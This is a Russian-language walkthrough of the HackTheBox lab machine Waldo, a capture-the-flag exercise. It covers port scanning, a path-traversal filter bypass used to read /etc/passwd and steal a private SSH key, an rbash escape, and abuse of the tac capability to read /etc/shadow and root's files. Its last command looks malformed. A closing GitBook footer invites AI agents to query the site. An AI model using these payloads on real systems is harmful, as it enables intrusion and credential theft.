> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md).

# Разбор HackTheBox Waldo

{% embed url="<https://app.hackthebox.com/machines/Waldo>" %}

{% hint style="warning" %}
**Навыки:**

* LFI (Local File Inclusion) — обход фильтра
* Получение закрытого SSH-ключа пользователя через LFI
* Выход из контейнера
* Обход ограниченной оболочки
* Злоупотребление возможностями (cap\_dac\_read\_search+ei) (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/50aee51808716638162cc6b5ba6f0d8d35fbe6e0" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/f18dcd8ef02f4626a05a82f4cbe1382e35aa5777" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts
```

<figure><img src="/files/d6573d982e1bdef598c6a6324dbe8c07f46b5ac4" alt=""><figcaption></figcaption></figure>

**Сканирование версий портов с помощью Nmap 22,80:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p22,80 10.10.10.87 -oN targeted 
```

<figure><img src="/files/e03e1fbda099f00a285338d39bfdd38f2b4cd141" alt=""><figcaption></figcaption></figure>

## Эксплуатация порта 80

<figure><img src="/files/d182198ad1dc66e270c47b262bfb33e575ff897c" alt=""><figcaption></figcaption></figure>

#### Перехват с помощью Burp Suite

Мы анализируем запросы и выявляем уязвимость **LFI** (Local File Inclusion).

<figure><img src="/files/59fafa0ecacef78b930178b6cf6b7dcaeed0c6db" alt=""><figcaption></figcaption></figure>

### Базовый тест LFI

Мы пытаемся получить доступ к `/etc/passwd`:

```
../../../../etc/passwd
```

Это не работает.

<figure><img src="/files/c7df07447766bd4ba3b33b76939aaa7e450da802" alt=""><figcaption></figcaption></figure>

### Обход фильтра LFI

Мы тестируем обход с помощью

```
....//....//../....//..//....//etc/passwd
```

Этот обход работает, и теперь мы можем перечислить `/etc/passwd` файле.

<figure><img src="/files/565bbba4afc77ac35d2cd4c0adb88b2ed47c1c08" alt=""><figcaption></figcaption></figure>

#### Извлечение файла с помощью Curl

Мы используем `curl` чтобы получить файл через уязвимую конечную точку:

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file'
```

{% endcode %}

Мы находим пользователя **nobody**.

<figure><img src="/files/8585fcb5ba1917407ef9eae3526e1fe2e773c95e" alt=""><figcaption></figcaption></figure>

### Доступ к `.ssh` каталогу nobody

Мы перехватываем запрос со страницы `list.html` и отмечаем, что `переменная path` используется для получения файлов.

<figure><img src="/files/5a8814e6831f201f465a6db8f68b04d426922077" alt=""><figcaption></figcaption></figure>

Мы исследуем домашний каталог `nobody`:

```
....//....//../....//..//....//home/nobody/.ssh/
```

<figure><img src="/files/bfb513ce7ed2bacff805f3f08f8a459163f79387" alt=""><figcaption></figcaption></figure>

Мы находим `.monitor` файле.

#### Извлечение закрытого SSH-ключа

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file'
```

{% endcode %}

Мы получаем закрытый ключ.

<figure><img src="/files/c4d1122bff3387aa8208704038291cd2b3dc49a9" alt=""><figcaption></figcaption></figure>

#### SSH-подключение к nobody

Мы подключаемся с восстановленным ключом:

```bash
ssh nobody@10.10.10.87 -i id_rsa
```

<figure><img src="/files/06e49e58b384228c942fe59ca55b579708d3cd41" alt=""><figcaption></figcaption></figure>

### Флаг user.txt :)

<figure><img src="/files/36e863e9b25a635e965bd6e591c8759a31aed420" alt="" width="499"><figcaption></figcaption></figure>

## Переход к пользователю operator

Мы обнаруживаем файл пользователя `оператором`

<figure><img src="/files/3d419a25c85d24bd8f1508af49818c4df371d7b2" alt=""><figcaption></figcaption></figure>

Мы находим `authorized_keys` файл, принадлежащий `monitor`.

<figure><img src="/files/959c97dd8db2e09db706092c46eb77bcf25c9725" alt=""><figcaption></figcaption></figure>

#### SSH-подключение к monitor

```bash
ssh monitor@127.0.0.1 -i .monitor
```

Мы оказываемся в маленькой оболочке (`rbash`).

<figure><img src="/files/07ed1af4c729d320980b18e9a3d34678b0cbcfc3" alt=""><figcaption></figcaption></figure>

### Обход ограниченной оболочки

Мы запускаем SSH-сеанс, указав `bash`:

```bash
ssh monitor@127.0.0.1 -i .monitor "bash --noprofile"
```

<figure><img src="/files/86a91311acc36055dbfdcefa0b67fb37a07e9228" alt=""><figcaption></figcaption></figure>

## Повышение привилегий

### Возможности — tac

Мы перечисляем файлы с определёнными возможностями:

```bash
getcap -r / 2>/dev/null
```

Мы определяем, что **tac** имеет `возможность cap_dac_read_search+ei` :

<figure><img src="/files/ace8d88944c50b8d9652509f53f6aa0250427f29" alt=""><figcaption></figcaption></figure>

#### Операция tac для чтения защищённых файлов

У `tac` команда (обратная `cat`) позволяет нам просматривать файлы, инвертируя их содержимое.

```bash
tac /etc/shadow
```

<figure><img src="/files/9ea9ee1d1405c0cabddc83958ed2454355ef3c71" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

**Чтение флага root.txt**

```bash
tac /root/root.txt | tac
```

<figure><img src="/files/8547161395eaf24f4ae9ce2331f544dd64f0c0eb" alt="" width="545"><figcaption></figcaption></figure>

**Получение SSH-ключа root**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```

<figure><img src="/files/2b4acc4222dfff9ebae7daeb2fe6b59de3463dde" alt="" width="399"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
